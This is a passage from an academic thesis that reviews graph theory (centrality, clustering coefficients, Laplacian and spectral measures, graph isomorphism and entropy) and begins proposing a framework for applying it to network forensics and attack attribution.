in this chapter provide the foundation for the rest of this study. 

3.1 Essential Elements 

 Graph theory is a sub discipline of discrete mathematics that is widely used for modeling a 

wide range of subjects. As the current research is an application of graph theory, the essentials 

of graph theory are relevant and should be reviewed. A finite graph G (V, E) is a pair (V, E), 

where V is a finite set and E is a binary relation on V (Deo, 2016). The connections between 

vertices are termed edges (Chartrand, 1985). These edges are ordered pairs and not necessarily 

symmetrical (Balakrishnan, 2010). Edges which connect to a specific vertex are said to be 

incident to that vertex. When the edge proceeds from a vertex, then it is said to be incident 

from that vertex. This means that the connection between vertices may be directional (Clark & 

Holton, 1991), in which case the edge is referred to as an arc.  

 When the connection is an arc the directionality indicates the origin and end point of the 

connection. When a graph is directional it is referred to as a digraph (Chartrand, 1985). If two 

vertices are connected via more than one edge, then this graph is considered a multiple graph or 

multigraph (Bollobás, 2013). These basic definitions provide a general description of the nature 

of the graph.  

 Related to edges that are incident to or incident from a vertex is the issue of the degree of a 

vertex. One The degree of a vertex is simply the number of edges incident to that vertex. A 

vertex can connect to itself, forming a loop (Bondy & Murty, 2008). Loops are also part of the 

degree of a given vertex. In various modeling scenarios it is advantageous to assign some 
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weight or cost to an arc, in which case the graph is referred to as a weighted digraph. Figure 1 

depicts a simple digraph with a single loop. 

 

Figure 1 Basic Digraph 

 In addition to the vertices and edges, there are incidence functions. The incidence function 

defines how the vertices are related. The specific objects that these vertices represent is 

irrelevant to the mathematics of graph theory. In fact, pure mathematics studies graphs without 

any specific application. Describing a graph in clearer, and more mathematical rigorous terms 

is the following definition shown in equation (1). 

𝐺 = (𝑉, 𝐸, 𝛹)                          (1) 

 The preceding formula simply states in mathematical terms what was described in the 

previous paragraph: a graph (G) is a set consisting of the vertices (V), the edges (E), and the 

incidence functions (ψ) connecting the edges to the vertices . This provides a basic description 

of what a graph is. 

 Another element of graph theory is to understand how connected the graph is. This can 

begin with an examination of centers of the graph. A center of a graph is a vertex with the 

minimal eccentricity. Eccentricity being defined as the distance from the vertex to the farthest 

vertex in the graph (Thulasiraman, et al., 2016). A graph may have multiple centers; therefore, 

the center is sometimes described as the set of vertices with minimal eccentricity (Trinajstic, 
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2018). Centers are interesting to modeling and analyzing a network incident, because centers 

are points that are strongly connected to other elements of the system in question. And 

therefore, can represent the source of attacks or penetrations.  

 Related to the graph center are the graph radius and diameter. The radius is the minimum 

of vertex eccentricities (Godsil & Royle, 2013) and is typically denoted as rad(G). The 

diameter of a graph is defined as the maximum of the vertex eccentricities and is usually 

denoted as diam(G). These two metrics provide valuable information about the graph. In 

addition to these two elementary descriptive elements of a graph, there are additional measures 

of central tendency that can provide insight into the system or process being graphed. The 

clustering coefficient is a measure of the degree to which nodes in the graph tend to cluster 

together. While measures of graph centrality, as well as radius and diameter are elementary 

aspects of graph theory, there has been very limited application of these artifacts to network 

forensics. The current research fills that gap in the literature. 

      The local clustering coefficient is often used with larger graphs. This metric quantifies how 

closely neighbors of a given vertex are to being a clique. The neighborhood of a vertex is 

generally defined as vertices immediately adjacent to the vertex in question. A clique is defined 

as a complete graph. It should be noted that textbooks tend to focus on undirected graphs for 

the clustering coefficient, there is established research applying this to directed graphs 

(Clemente & Grassi, 2018; Deng, et al., 2017; Fagiolo, 2007; Trolliet, et al., 2020 ). The 

formula for calculating the local clustering coefficient of a given vertex in a directed graph is 

shown in equation 2.  

𝐶𝑖 =
|{𝑒𝑗𝑘:𝑣𝑗,𝑣𝑘∈𝑁𝑖,𝑒𝑗𝑘∈𝐸}|

𝑘𝑖(𝑘𝑖−1)
                                                                                                              (2) 

       In equation 2, the Ci is the local clustering coefficient for a given vertex denoted by vi. The 

ki denotes the number of neighbors of a given vertex, whereas the value Ni denotes the 

neighborhood of the vertex. E denotes the edge set while ejk is a particular edge going from 
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vertex j to vertex k. The use of the local clustering coefficient provides insight into how 

connected a given vertex is. Knowing how connected a vertex is gives insight into how that 

vertex is involved in a given incident. For example, in a computer virus outbreak, more heavily 

connected vertices are candidates for a more detailed forensic examination to determine if they 

are the source of the virus outbreak. 

      The local clustering coefficient leads to considering the global clustering coefficient. Of 

particular interest in network forensics is a variation of the global clustering coefficient named 

the network average clustering coefficient (Gupta & Sardana, 2015; Nakajima  & Shudo, 

2021). This formula calculates the average of local clustering coefficients of the vertices in the 

graph and is shown in equation 3. 

𝐶 =
𝛴𝑖𝑗𝑘𝐴𝑖𝑗𝐴𝑗𝑘𝐴𝑘𝑖

𝛴𝑖𝑘𝑖(𝑘𝑖−1)
            (3) 

     Put in simple terms the global coefficient can be defined as the number of closed triplets 

divided by the number of all triplets. A triplet being three vertices that are connected. If the 

vertices are connected by two edges it is open, if connected by three it is closed. Clustering 

coefficients have not been substantially applied to network forensics. This current research fills 

that gap in the literature. 

 In addition to measures of central tendency in a given graph, it can be useful to understand 

the various ways of traversing a graph. A walk is a series of vertices and edges such that the 

edge set connects the vertex set. The length of a walk is the number of edges (Deo, 2017). A 

trail is defined as a walk through the graph with no repeated edges. A path is a specialized case 

of a trail. A path is a trail with no repeated vertices. The length of the trails and paths give an 

indication of the maximal distance between vertices (Thulasiraman, et al., 2016). The length of 

a path in a weighted graph is the sum of the edge-weights of the path. The distance between 

two vertices a and b in a weighted graph is the length of a shortest a-b path, A Eulerian trail is 
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a trail that contains every edge of the graph G. Consider the digraph shown previously in figure 

1. 

 

Figure 2 Exemplary Graph 

 In the graph depicted in figure 2, any set of steps between any two vertices is a walk. For 

example, the sequence C – A – B – C – B – A - F is a walk. However, a trail can have no 

repeated edges, thus the sequence just described would not constitute a trail. The sequence A – 

B – D – A – C – D – F. would be  trail because no edges are repeated. But it could not be a 

path, because the vertices A and D are repeated. A – B – C – D - F  would be a path, as no 

vertex or edge is repeated. These are the different methods for traversing any graph. When 

graphing a network incident, the path that is traversed through the network is relevant to the 

forensic analysis. For example, the path that a computer virus takes through a network provides 

interesting data. 

3.2 Algebraic Graph Theory 

       The basics of graph theory are primarily descriptive and not analytical. However, graph 

theory does provide a rich set of analytical technical. Many of these techniques are found in the 

subset of graph theory known as algebraic graph theory. Algebraic graph theory takes matrix 

representations of graphs then applies linear algebra to those matrices (Knauer & Knauer, 

2019). This brings the power of linear algebra to bear on analyzing graphs. 
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 Graphs can also be described and analyze using specific matrices. An incidence matrix has 

a row for each vertex and a column for each edge (Thulasiraman, et al., 2016). This allows one 

to readily see how the edges and vertices are connected. Incidence matrices can provide insight 

into the spread of malware through a network. The incidence matrix is calculated as shown in 

equation 4. 

𝐼𝐺[𝑣, ⅇ] = {

0 𝑖𝑓 𝑣 𝑖𝑠 𝑛𝑜𝑡 𝑎𝑛 ⅇ𝑛𝑑𝑝𝑜𝑖𝑛𝑡 𝑜𝑓 ⅇ
1 𝑖𝑓 𝑣 𝑖𝑠 𝑎𝑛 ⅇ𝑛𝑑𝑝𝑜𝑖𝑛𝑡 𝑜𝑓 ⅇ       
0 𝑖𝑓 ⅇ 𝑖𝑠 𝑎 𝑠ⅇ𝑙𝑓 − 𝑙𝑜𝑜𝑝 𝑎𝑡 𝑣    

                                                                            (4) 

   When creating the incidence matrix, vertices are listed on the left, with edges on the top. 

Therefore, it is first necessary to add designations for the edges to a graph. This is shown in 

figure 3. 

 

Figure 3 Adding edge designations. 

 The incidence matrix for the graph in figure 3, is shown in figure 4.  

 

Figure 4 Incidence Matrix 

     A second type of matrix used to describe a graph is the adjacency matrix. The adjacency 

matrix represents whether pairs of vertices are adjacent to each other. The adjacency matrix for 

an undirected graph is defined in equation 5. 
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𝐴𝐺[𝑢, 𝑣] = {0 𝑖𝑓 𝑛𝑜𝑡
1 𝑖𝑓 𝑢 𝑎𝑛𝑑 𝑣 𝑎𝑟𝑒 𝑎𝑑𝑗𝑎𝑐𝑒𝑛𝑡

          (5) 

      The adjacency matrix for the digraph can be calculated the same way, or it can be 

calculated in a similar fashion to the incidence matrix. To avoid confusion, this current 

research will compute the adjacency matrix as shown in equation 2. The adjacency matrix from 

figure 2 is shown in figure 4. 

 

Figure 5 Adjacency Matrix 

 In addition to the previously discussed incidence and adjacency matrix, the degree matrix 

is of interest. The degree matrix addresses how many connections each vertex has. This 

includes self-connections/loops. The degree matrix of the graph in figure 2, is provided in 

figure 6. 

 

Figure 6 Degree Matrix 

 It should be noted that when working with directed graphs, it is common to separately 

compute the in-degree matrix and the out-degree matrix. These matrices are elementary, first 

steps in analyzing a given graph. However, as will be demonstrated chapter 4, they do provide 

information relevant to a network forensic investigation. Understanding the connections into 

and out from a given network node can help map out the path of any network attack. This is 

useful in identifying the machines that should be subjected to further analysis.  While the 

degree matrix is a common artifact in graph theory, there has been no substantial application of 
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it to identifying important nodes in network incidents. This current research fills that gap in the 

literature. 

     Another important matrix in graph theory is the Laplacian matrix. The Laplacian matrix is 

most often defined as the degree matrix minus the adjacency matrix (Thulasiraman, et al.,  

2016) and is sometimes referred to as the Kirchhoff matrix or discrete Laplacian. The 

Laplacian matrix provides substantial information about a graph. Using Kerchoff's theorem it 

can be utilized to calculate the number of spanning trees in a graph. Thus, the Laplacian matrix 

for the graph in figure 2 would be calculated as is shown in figure 7. 

 

Figure 7 Laplacian Matrix 

      There are variations of the Laplacian matrix such as the deformed Laplacian, signless 

Laplacian, and symmetric normalized Laplacian (Godsil & Royle, 2013). These alternatives 

will not be included in the methodology proposed and explored in this thesis. Specific 

properties of the standard Laplacian matrix will be explored. When dealing with directed 

graphs, one can use either the in degree or out degree matrix. The degree matrix demonstrates 

how connected specific vertices are. In a network forensic investigation this identifies key 

elements in the incident being investigated. One problem in network forensics is determining 

which machines to image and analyze further. Focusing on those vertices with the highest 

degree can address this problem. 

     Group theory is also sometimes integrated into algebraic graph theory (Godsil & Royle, 

2013). This is useful in understanding graph families based on their symmetry, or lack thereof. 

Frucht’s theorem states that all groups can be represented as an automorphism of a connected 
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graph (Kantor, 2019). This provides a means of using graphs to analyze groups. Given that 

network nodes being analyzed in network forensics can form groups, this provides a means for 

analyzing those groups. The tools of algebraic graph theory provide a methodology for 

mathematically modeling network intrusions. Once the network involved in an incident, or at 

least a subsection of that network, has been rendered as a graph, algebraic graph theory can 

then be used to mathematically analyze and model relationships within the network and 

behavior of nodes. This provides a mathematical rigor to network forensics that is currently 

lacking. 

3.3 Spectral Graph Theory 

     Spectral graph theory is a subset of algebraic graph theory. Spectral graph theory focuses on 

the eigenvalues, eigenvectors, and characteristic polynomials of the matrices associated with a 

graph (Dehmer & Emmert-Streib, 2014). Eigenvalues are a special set of scalars associated 

with a matrix that are sometimes also known as characteristic roots, characteristic values 

proper values, or latent roots. As an example, consider a column vector called v. Then also 

consider an n x n matrix called A. Then consider some scalar λ.  If it is true that Av = λv, then v 

is an eigenvector of the matrix A and λ is an eigenvalue of the matrix A. Spectral graph theory 

uses eigenvalues to derive information about the matrix in question. 

     The spectrum of a matrix is its set of eigenvalues, eigenvectors, and the characteristic 

polynomial of the matrices associated with a graph. This is normally the adjacency matrix, but 

in some situations the Laplacian matrix can be used (Dehmer & Emmert-Streib, 2014). In 

spectral graph theory comparing the spectrum of various graph matrices. Spectral graph theory 

provides a powerful tool for analyzing graphs (Easttom & Adda, 2021). 

     The Laplacian matrix discussed in section 3.2 is often used in spectral graph theory. One of 

the more critical properties of a Laplacian matrix is the spectral gap of the Laplacian (Dehmer 

& Emmert-Streib, 2014). A spectral gap is the difference between the moduli of the two largest 
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eigenvalues of the matrix. The spectral gap is used in conjunction with the Cheeger inequalities 

of a graph (Hartsfield & Ringel, 2013). Cheeger inequalities relate the eigenvalue gap with the 

Cheeger constant of the graph. That relationship is expressed in equation 6. 

2ℎ(𝐺) ≥ 𝜆 ≥
ℎ2(𝐺)

2 𝑑 𝑚𝑎𝑥(𝐺)
           (6) 

     In equation 4 dmax is the maximum degree in G and λ is the spectral graph of the Laplacian 

matrix of the graph. The value h(G) is the Cheeger constant (Knauer & Knauer, 2019). The 

Cheeger constant is a quantitative measure of whether a graph has a bottleneck (Chung, 2005; 

Qiao, Koolen, & Markowsky, 2020). This is sometimes called the Cheeger number and is 

widely used in studying computer networks. This makes the Cheeger constant also relevant to 

network forensics. The formula for the Cheeger constant is somewhat more complex than the 

Cheeger inequality. Consider a graph G with a vertex set V(G) and an edge set E(G). For any 

set of vertices, A such that 𝐴 ⊆ 𝑉(𝐺)  the symbol 𝜕 is used to denote the set of all edges that 

go from a vertex in set A to a vertex outside of A. In general, the Cheeger constant is positive 

only if G is a connected graph. If the Cheeger constant is small and positive, that denotes some 

bottleneck in the graph (Gross, Yellen, & Zhang, 2013).  

     It should be noted that most definitions of both the Laplacian matrix and the Cheeger 

constant define these in reference to an undirected graph (Thulasiraman, et al., 2016). Most 

textbooks generally only discuss the Cheeger constant and the Laplacian matrix in the context 

of an undirected graph (Dehmer & Emmert-Streib, 2014; Knauer & Knauer, 2019). This could 

lead to the conclusion that there is no relevance to digraphs. However, there is existing work 

from as early as 2005 applying both the Cheeger constant and the Laplacian to directed graphs 

(Bauer, 2012; Chung, 2005; Li & Zhang, 2010; Li & Zhang, 2012). 

      The Cheeger constant of a graph is also relevant to analyzing computer networks and 

network intrusions. The Cheeger constant is a measure of whether or not a graph has a 
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bottleneck. Given a graph G with n vertices, the Cheeger constant is defined as shown in 

equation 7. 

                                                (7) 

S is the set of nonempty sets of at most n/2 vertices and 𝜕(𝑠) is the edge boundary of S. 

 Spectral graph theory can be combined with other elements of algebraic graph theory to 

provide a more detailed analysis of a given graph. For example, a connected graph with 

diameter D will have at least D+1 distinct values in its spectrum (Knauer & Knauer, 2019). 

This means that understanding the diameter of a graph, a rather trivial element of graph theory, 

provides insight into the graph’s spectrum. 

     Once a network or network subsection that is part of an incident has been describes using 

graph theory, spectral graph theory provides a means for analyzing that incident. 

Understanding the central vertices in the graph provides insight into the incident being 

investigated.  

3.4 Graph Similarities 

 Graph similarities can be used in attack attribution of network incidents. Comparing a 

graph of an incident with a known attacker, or known technique, to a graph of a new incident 

can provide a mathematical basis for attack attribution. Homomorphisms describe the degree of 

similarity between two graphs. Graph homomorphisms are also utilized extensively in a wide 

range of modeling applications. A graph homomorphism is a structure preserving mapping 

between two graphs (Deo, 2017). If it is a directed graph, even the origins and tails of arcs are 

preserved (Hartsfield & Ringel, 2013). This can be expressed with mathematical formality as 

shown here: 

Let G1 = (V1, E1, o1, t1) and G2 = (V2, E2, o2, t2) 

Where Vx is the set of vertices in a graph, Ex is the set of edges, ox is the origin of the arcs, 

and tx is the tail. 
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θv: V1 -> V2 

θE: E1 -> E2 

Such that the origins and tails maintain their structure for all e ϵ E, is a strong homomorphism.  

 A strong homomorphism demonstrates a very strong degree of similarity between two 

graphs. However, it can be of interest to examine graph similarities that are not quite as strong. 

A weak homomorphism, also called a graph egamorphism  has the same edge set, but not 

necessarily the same origin to tail relationship (Dehmer & Emmert-Streib, 2014). Put more 

formally, an egamorphism is a relationship for G1 and G2 such that: 

if (a,b) ϵ E and f(a) ≠ f(b)   

     A graph isomorphism represents the highest degree of similarity between two graphs. An 

elementary definition of graph isomorphism is that both graphs have the same number of 

vertices, the same number of edges, and identical degree matrices, they can be isomorphic 

(Deo, 2017). While these conditions are necessary for isomorphism, they are not sufficient. For 

two graphs Va and Vb there must be a function f from Va and Vb preserves both adjacency and 

non-adjacency values. Essentially this requires that the two graphs have not only identical 

vertex sets, edge sets, and degree matrices, but that their structure is retained. Put more 

formally there must exist a structure-preserving vertex bijection f: Va -> Vb in order for these 

two graphs to be isomorphic (Knauer & Knauer, 2019). 

      Graph similarity is also related to spectral graph theory, which was described in section 3.3. 

When comparing graphs using spectral graph theory, another important issue is that graph G is 

said to be determined by its spectrum if any other graph with the same spectrum as G is 

isomorphic to G (Knauer & Knauer, 2019). Put another way, if graphs G and H have the same 

spectrum, then they are said to be determined by that spectrum. If graphs G and H are not 

isomorphic but do have the same spectrum, they are said to be cospectral mates (Godsil & 

Royle, 2013. 
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      Graph edit distance (GED) is another mechanism for comparing two graphs (Dehmer & 

Emmert-Streib, 2014). This technique is related to the string edit distance used to compare two 

strings. The essence of graph edit distance is how many alterations need to be made to a graph 

G1 to make it isomorphic to graph G2. This is described mathematical in equation 8. 

𝐺𝐸𝐷(𝐺1, 𝐺2) = 𝑚𝑖𝑛
(𝑒1⋅⋯𝑒𝑛)∈𝑝(𝐺𝐽𝐺2)

∑ 𝐶(ⅇ𝑖)
𝑛
𝑖=1                                   (8) 

        In equation 9, the e represents edges, but could be any change. The C(ei) is the change be 

it an edge or vertex. The essence of the formula is simply to total the number of changes 

needed to alter graph g2 such that it is isomorphic to g1 (Dehmer & Emmert-Streib, 2014). 

Graph edits can be vertex or edge and involve either insertion, deletion, or substitution. This 

method does provide a metric of the degree of similarity between two graphs. It does not take 

into account incidence functions. 

 These concepts in graph theory are important for understanding the methodologies 

described in this current research. Graph theory fundamental concepts, as well as more 

advanced algebraic aspects of graph theory will be utilized to model and examine network 

intrusions. The use of graph similarities in network forensics has been very limited. Network 

incident fingerprinting has been non-existent. The current research addresses that gap. 

     An area of graph theory that has not been rigorously applied to network intrusions is 

spectral graph theory. This sub-domain of graph theory is focused on eigenvalues, 

eigenvectors, and characteristic polynomials of graph matrices. This often focuses on 

adjacency matrices or Laplacian matrices but can include degree matrices and incidence 

matrices. One important aspect of spectral graph theory for comparing systems is the area of 

cospectral graphs. Two graphs are considered cospectral if the adjacency matrices of the graphs 

have equal multisets of eigenvalues. This is sometimes termed isospectral. This element of 

spectral graph theory has not been previously applied to network incident fingerprinting. The 

current research addresses that gap. 
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 Chromatic graph theory can also be useful in analyzing graphs. This aspect of graph theory 

is focused on the chromatic number of a graph. The chromatic number of graph G is defined as 

the smallest number of colors needed to color the vertex set V such that now adjacent vertices 

have the same color (Chartrand & Zhang, 2019). This is often denoted as x(G). Given that 

loops clearly cannot be colored in this fashion, they are typically not considered in chromatic 

graph theory. Another part of chromatic graph theory is the chromatic polynomial. The 

chromatic polynomial counts the number of ways a graph can be colored using no more k 

colors. Understanding the chromatic number of a graph and its chromatic polynomial gives 

indications as to how interconnected the graph is. For example, a high chromatic number 

would indicate many vertices are connected to each other, requiring more colors to prevent 

adjacent vertices from having the same color.  

     The current research also proposes an expansion of existing graph theory. Traditionally,  

graph  theory  does  not  deal with partial  isomorphisms. There has been work in 

isomorphisms of subgraphs (Hoffmann, et al., 2017; Samsi, et al., 2017). However, normally 

graph theory does not address the issue of a percentage of isomorphism between two graphs. 

The use of partial isomorphisms was developed as part of the current research and a nascent 

version described previously in an IEEE paper (Easttom, 2018a).  

     When utilizing graph theory to analyze network forensics, a partial isomorphism is of 

interest. For example, the graphs of two separate network incidents are unlikely to be  

isomorphic. However, if a partial isomorphism is found between the two graphs that would 

indicate some relation between the two incidents. A partial isomorphism is defined as two 

graphs that have isomorphic subgraphs. However, unlike previous work with isomorphic 

subgraphs, the percentage of isomorphism of the two complete graphs is considered. 

     The degree of isomorphism was first introduced in 2020 (Easttom, 2020a). The formula 

described in this research is an enhancement of that previously published work. The degree of 
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isomorphism is defined as the percentage to which two graphs are isomorphic. This is 

expressed as a percentage, rather than as an integer value. To calculate the degree of 

isomorphism between two graphs requires a simple formula. The number of identical vertices, 

edges, and incidence functions is summed. That sum divided by two, yielding  the percentage  

of  isomorphism  between  the  two  graphs. To put this in a more mathematically rigorous 

format, Given G1 =(V1, E2, ψ1) and G2 = (V2, E2, ψ2), equation 9 demonstrates how to 

calculate the degree of isomorphism between the two graphs. 

𝐼𝑑 =

(∑ 𝐺1(𝑣)
𝑛
𝑖=1 =𝐺2(𝑣))

𝑛

+(∑ 𝐺(𝐸)𝑛
𝑖=1 =𝐺2(𝐸))

𝑛
+

(∑ 𝐺𝐼(𝜓)
𝑛
𝑖=1 =𝐺2(𝜓))

𝑛

3
                                                                (9) 

     In equation 9, Id represents the degree of isomorphism. The formula is relatively simple, the 

number of identical vertices in each graph is divided by the total pairs of vertices being 

compared. The same calculation is done for edges and incidence functions. These three values 

are totaled and divided by three to provide a percentage of isomorphism. This calculation is 

another example of why it is advantageous to only graph those nodes (vertices) that are 

affected in some way by the network incident that is being forensically examined. Given the 

diversity in network structures and topologies, if all nodes in a network are part of the graph, 

then no two attacks would ever appear to have a substantial similarity. This method is an 

expansion of one published previously (Easttom, 2018a). 

      Another measure of graph similarity is provided by the Randic index of a graph (Dehmer & 

Emmert-Streib, 2014). The Randic index is sometimes referred to as the connectivity index. It 

is a measure of the degrees of the vertices in the graph (De Meo, et al., 2017). The formula is 

shown in equation 10. 

𝑅(𝐺) = ∑
1

√𝛿(𝑣)𝛿(𝑊)(𝑣,𝜔)∈𝐸(𝐺)
              (10) 

    In equation 10, δ (v) and δ (2) denote the degrees of the vertices v and w, respectively.  
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    When comparing graph similarities, one can utilize induced subgraphs. This was discussed 

in chapter 3. Rather than compare the entire graph of a network for similarities such as 

homomorphisms, isomorphisms, and partial isomorphisms, one can compare induced 

subgraphs from the affected networks. This allows the forensic examiner to focus only on the 

affected areas of the network. 

3.5 Integrating Information Theory 

    Integrating information theory into graph theory can provide additional insights for network 

forensics. Information theory can describe the flow of data between network nodes. In many 

incidents, including Denial of Service attacks, data flow is central to the attack. Using 

information theory to analyze the relationship between vertices in a graph can aid in network 

forensic analysis. 

    There are existing studies that have integrated information theory with algebraic graph 

theory (Dehmer & Emmert-Streib , 2016; Huang, Tsai, Kurubanjerdjit, & Ng, 2019; Yang, 

Wang, Bhuiyan, & Choo; 2017). The methodology proposed in this current research integrates 

information theory as either the weighting of an edge, or the incidence function of the edge. 

     Utilizing information entropy to understand incidence functions in graphs has been 

published as part of the current research (Easttom & Adda, 2020a). The formula for calculating 

Shannon entropy is shown in equation 11. 

𝐻(𝑥) = − ∑ 𝑝(𝑥𝑖)

𝑛

𝑖=1
 log2p(xi)       (11) 

    In equation 11, H denotes the Shannon entropy over some variable x. The outcomes of x 

(xi,…xn) occur a probability denoted by pxi,….pxn. While log base 2 is often assumed, it is 

expressly stated in equation 11 to avoid confusion. The information entropy provides a metric 

of information in a given message (Mishra & Ayyub, 2019). When applied to the incidence 

function of a vertex in a given graph, it provides a metric denoting the flow of information 

between two vertices (Easttom & Adda, 2020a). 
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     Given a graph G, the Lovász number of a graph is a metric that indicates the upper bound of 

the Shannon capacity of the graph (Dehmer & Emmert-Streib, 2014; Lovász, 2019). The 

Lovász number is also sometimes referred to as the Lovász theta function and is denoted by 

𝜗(𝐺). The Lovász number of a graph G is defined as shown in equation 12. 

𝜗(𝐺) = min
𝑐𝑈

max
𝑖∈𝑣

1

(𝑐𝑇𝑢𝑖)2                 (12) 

     In equation 12, c denotes a unit vector in RN. U denotes an orthonormal representation of the 

graph G in RN. An orthonormal representation of G in RN is an ordered set of unit vectors U = 

(ui | i ϵ V) if ui and uj are orthogonal when i and j are not adjacent in the graph G. There are 

alternative ways of depicting the Lovász number formula (Lovász, 2019). One such method is 

shown in equation 13. 

𝜗(𝐺) = 𝑚𝑎𝑥
𝐴∈𝑅

[1 −
𝜆1(𝐴)

𝜆𝑖(𝐴)
]                       (13) 

     In equation 13, R is the family of real matrices A(i,j) where aij = 0 if i and j are adjacent. 

The symbol λ denotes eigenvalues of A. Regardless of the form of the equation used, the result 

is a metric denoting the amount of information that can be transmitted via a noisy 

communication channel represented by the graph G. 

      Hartley entropy was introduced by Ralph Hartley in 1928 and is often referred to as the 

Hartley function (Ribeiro, et al., 2021). If a sample is randomly elected from a finite set A, the 

information revealed after the outcome is known is given by the Hartley function, shown in 

equation 14 (Kakihara, 2016). 

𝐻0(𝐴) ≔ 𝑙𝑜𝑔𝑏|𝐴|           (14) 

     In the Hartley function the H0(A) is the measure of uncertainty in set A. The cardinality of 

A is denoted by  |A|. If the base of the logarithm is 2, then the unit of uncertainty is referred to 

as the Shannon. However, if the natural logarithm is used instead, then the unit is the nat. 

When Hartley first published this function, he utilized a base-ten logarithm. Since that time, if 
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a base 10 is used then the unit of information is called the hartley. Hartley entropy tends to be a 

large estimate of entropy and is thus often referred to as max-entropy (Ribeiro, et al., 2021). 

     Another measure of uncertainty in a message is the min-entropy (Wan, et al., 2018). This 

measure of entropy tends to yield a small information entropy value, never greater than the 

standard Shannon entropy. This formula is often used to find a lower bound for information 

entropy. The formula is shown in equation 15. 

𝐻 = min
1≤𝑖≤𝑘

(− log2 𝑝𝑖)                                                                (15) 

     In equation 15, there exists some set A with an independent discrete random variable X 

taken from that set and a probability that X =xi of pi for i – 1,….k. When the random variable X 

has a min-entropy (i.e., an H value) then the probability of observing any particular value for X 

is less than or equal to 2-H. 

     Another measure of information entropy is the Rényi entropy (Linke, Johri, Figgatt, 

Landsman, Matsuura, & Monroe. 2018). The Rényi entropy is used to generalize four separate 

entropy formulas: Hartley entropy, the Shannon entropy, the collision entropy, and the min-

entropy (Hayashi, 2017), as shown in equation 16.  

𝐻𝛼(𝑥) =
1

1−𝛼
𝑙𝑜𝑔(∑ 𝑝𝑖

𝛼𝑛

𝑖=1
)          (16) 

     In equation 16, X denotes discrete random variable with possible outcomes (1, 2, …., n) 

with probabilities pi for i = 1 to n. Unless otherwise stated, the logarithm is base 2, and the 

order, α , is 0 < α < 1 (Lu & Grover, 2019). The aforementioned collision entropy is simply the 

Rényi entropy in the special case that α=2, and not using logarithm base 2. 

      All of the information theory formulas described in this section can be utilized to provide 

an improved understanding of a network graph. As will be described in chapter 4, information 

entropy can be implemented as the incidence function between to vertices in a network. Using 

information theory to define incidence functions was first published in 2020 (Easttom & Adda, 

2020a). Information entropy can also be used to weight edges are arcs. Understanding the 
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amount and diversity of the information flowing provides an enhanced understanding of the 

network data flow. This approach can provide insight into specific types of cyber-attacks and 

will be utilized in the chapter 5. 

3.6 Applications to Network Modeling 

 The current research focuses on the application of graph theory for analyzing and 

modeling network intrusions. This is an extension of existing applications of graph theory for 

modeling computer network traffic. The work in modeling network traffic establishes the 

efficacy of graph theory for computer network applications. 

      Graph theory is a natural match for analyzing networks. The term network theory is often 

used synonymously with the application of graphs to represent relationships in networks 

(Rangaswamy & Gurusamy, 2018). This is not limited to computer networks. Social networks 

(Ribeiro, et al., 2017) and biological networks (Sporns, 2018) are also modeled as graphs. 

However, the current focus is on computer networks. Individual devices connected to the 

networks are often modeled as nodes, with the connections being edges. Analysing network 

traffic, protocol utilization, and data flows are some of the common tasks that graph theory is 

applied to. The term network theory is often used synonymously with the application of graphs 

to represent relationships in networks. This is not limited to computer networks. Social 

networks and computer networks are also modeled as graphs. However, the current focus is on 

computer networks. The elements of graph theory discussed in section 2.1 and 2.2 will be 

applied to modeling and analyzing network intrusions. 

Graph similarity metrics can provide a mathematical basis for attack attribution. Measures of 

centrality in a graph provide insight into which nodes are the best candidates for more detailed 

forensic analysis. Algebraic and spectral graph theory provide mechanisms for mathematically 

analyzing the graph of a particular network incident. Integrating information theory into graph 

theory provides a mathematical method for modelling and analyzing the data flow between 
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network nodes. In this thesis, this array of graph theoretic techniques are integrated into a 

cohesive framework for network forensics. 

3.7 Summary 

 In this chapter, a brief review of the essentials of graph theory have been presented. The 

goal is to establish the elements of graph theory that will be applied in the current research. 

Elements of algebraic and spectral graph theory were also summarized.  It should be noted that 

while the methodology detailed and tested in the current research utilizes some methods that 

have been published in the course of the study (Easttom, 2018b; Easttom, 2020a; Easttom & 

Adda, 2020a; Easttom & Adda, 2020b; Easttom & Adda 202), there are additional elements 

and experiments that have not been previously published. 

     This chapter not only outlined important aspects of graph theory but also identified gaps in 

the application of graph theory to network forensics. The current research addresses those gaps. 

Graph theoretic methods are applied to network forensics that have either not been previously 

applied or have been only used sparsely with no coherent methodology. This chapter also 

introduced partial isomorphisms, a technique that was created as part of this current research. 
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Chapter 4: Proposed Framework 

     The goal of this research is to apply the mathematical models of graph theory described in 

chapter 3 to address gaps in network forensics identified in chapter 2. On aspect of the current 

research is to apply the mathematical rigor of graph theory to network forensics. This will lead 

to a more rigorous understanding of network intrusions, improved modalities for attack 

attribution, and improved targeting of individual machine forensics.  

     In this chapter, each sub section of the proposed approach is presented as a phase in the 

application of graph theory to network forensics. The outline of how to apply specific graph 

theory techniques will be described. The experimental support to prove the feasibility and 

accuracy of this proposed method are addressed in chapter 5 with specific applications to actual 

incidents will be done in chapter 5. 

4.1 Proposed Framework 

    The proposed framework combines a series of stages, each providing a more in-depth graph 

theoretical analysis of the network incident in question. The methodology is described in the 

following sections. Then in chapter 5 these methodologies are applied to specific experimental 

scenarios. The result is a methodology that can be applied in total or in part to a given network 

forensics situation.  

     As an example of applying only portions of the current methodology, a forensic analyst 

could use only the techniques in section 4.1 in order to identify specific machines for 

individual analysis. Alternatively, an analyst might choose to only apply the techniques in 

section 4.1 in order to facilitate attack attribution. A forensic analyst also has the option of 

applying the entirety of techniques in order to perform a broad and rigorous analysis of the 

network incident in question. 

      The first step in the process is to express the network as a graph. This can be done in 

pictorial form, or simply using adjacency or degree matrices. In the case of very large 
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networks, it can be advantageous to only represent the region of the network impacted by the 

incident. 

4.1.1 General Descriptive Techniques.     

     Once the network, or network region, has been represented as a graph, elementary 

descriptive metrics can be identified. The first such item to identify are the centers of the graph. 

These can be appropriate beginning points for forensic analysis, including the forensically 

imaging and analyzing of the individual centers. Along with identifying graph centers, it is 

advantageous to identify the radius and diameter of the graph. These metrics can be compared 

with the radius and diameter of those devices directly impacted by the incident. 

     Graph centers, diameters, and radii provide a general understanding of the range of impact 

of a given network incident. These metrics also identify those machines that are the best targets 

for more substantial analysis. This would be the first phase of graph analysis of a network 

incident. However, additional measures of central tendency may be appropriate in some 

investigations. The local clustering coefficient, particularly when applied to the affected 

machines, provides interesting insight into the spread of the breach being investigated. Along 

with the local clustering coefficient it can be useful to calculate the network average clustering 

coefficient.  

     Identifying the routes between affected machines is also useful in a network forensic 

investigation. Considering the example of a computer virus that has spread on a computer 

network, understanding that routes between infected machines can be an important part of the 

